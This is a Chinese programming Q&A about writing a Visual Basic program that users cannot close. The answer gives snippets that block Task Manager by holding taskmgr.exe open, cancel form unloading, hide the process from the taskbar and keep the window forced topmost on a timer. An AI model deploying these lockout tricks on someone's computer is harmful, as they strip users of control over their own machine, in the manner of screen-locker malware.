Question

vb一个无法退出的程序的代码 要求不能使win按键 alt tab按键 ctrl alt delete按键有效果

最好能兼容win7和xp
很多代码在win7貌似没用

Answer 1

没有不可退出的程序，除非是系统核心进程。只能是增加些退出的难度而已。

一、禁用任务管理器，因为处于修改状态的程序是无法启动的。
Open "C:\WINDOWS\system32\taskmgr.exe" For Append As #1

二、使alt+f4失效，因为每次关闭都被取消。
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

三、将程序隐藏到进程，任务栏不显示，你可以不断刷，很多游戏就是这样做的。
App.TaskVisible = False

四、将窗口前置，可以使alt+tab失效，因为不管怎么切窗口都在最前。
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST& = -1
' 将窗口置于列表顶部，并位于任何最顶部窗口的前面
Private Const SWP_NOSIZE& = &H1
' 保持窗口大小
Private Const SWP_NOMOVE& = &H2
' 保持窗口位置
'以上API函数和常数的声明可在VB自带的“API 浏览器”中找到

Private Sub Form_Load()
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
' 将窗口设为总在最前
End Sub

五、第四项的代码可以用timer不断刷，很多游戏就是这样使窗口前置的。
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST& = -1
' 将窗口置于列表顶部，并位于任何最顶部窗口的前面
Private Const SWP_NOSIZE& = &H1
' 保持窗口大小
Private Const SWP_NOMOVE& = &H2
' 保持窗口位置
'以上API函数和常数的声明可在VB自带的“API 浏览器”中找到
Private Sub Form_Load()
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
' 将窗口设为总在最前
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End Sub

六、windows键的我不知道怎么禁用。